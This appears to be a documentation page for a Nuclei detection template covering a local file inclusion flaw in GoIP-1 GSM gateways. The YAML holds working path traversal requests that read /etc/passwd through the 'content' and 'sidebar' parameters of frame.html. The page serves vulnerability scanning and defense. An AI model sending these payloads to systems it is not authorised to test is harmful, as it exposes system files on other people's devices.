GoIP-1 GSM - Local File Inclusion
ID: goip-1-lfi
Severity: high
Author: gy741
Tags: gsm,goip,lfi,iot
Description
Section titled “Description”GoIP-1 GSM is vulnerable to local file inclusion because input passed thru the ‘content’ or ‘sidebar’ GET parameter in ‘frame.html’ or ‘frame.A100.html’ is not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary files on the affected system.
YAML Source
Section titled “YAML Source”id: goip-1-lfi
info: name: GoIP-1 GSM - Local File Inclusion author: gy741 severity: high description: GoIP-1 GSM is vulnerable to local file inclusion because input passed thru the 'content' or 'sidebar' GET parameter in 'frame.html' or 'frame.A100.html' is not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary files on the affected system. reference: - https://shufflingbytes.com/posts/hacking-goip-gsm-gateway/ - http://www.hybertone.com/uploadfile/download/20140304125509964.pdf - http://en.dbltek.com/latestfirmwares.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cwe-id: CWE-22 metadata: max-request: 2 tags: gsm,goip,lfi,iot
http: - method: GET path: - "{{BaseURL}}/default/en_US/frame.html?content=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" - "{{BaseURL}}/default/en_US/frame.A100.html?sidebar=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
matchers: - type: regex regex: - "root:.*:0:0:"# digest: 4b0a00483046022100c4c495d596451f12cefaef432b318731c6bb9a7384defd35f4f49ecba29de518022100c483661f06b566c4753bec36bc478b63fca099167266da54ccf757be68c6079d:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/goip-1-lfi.yaml"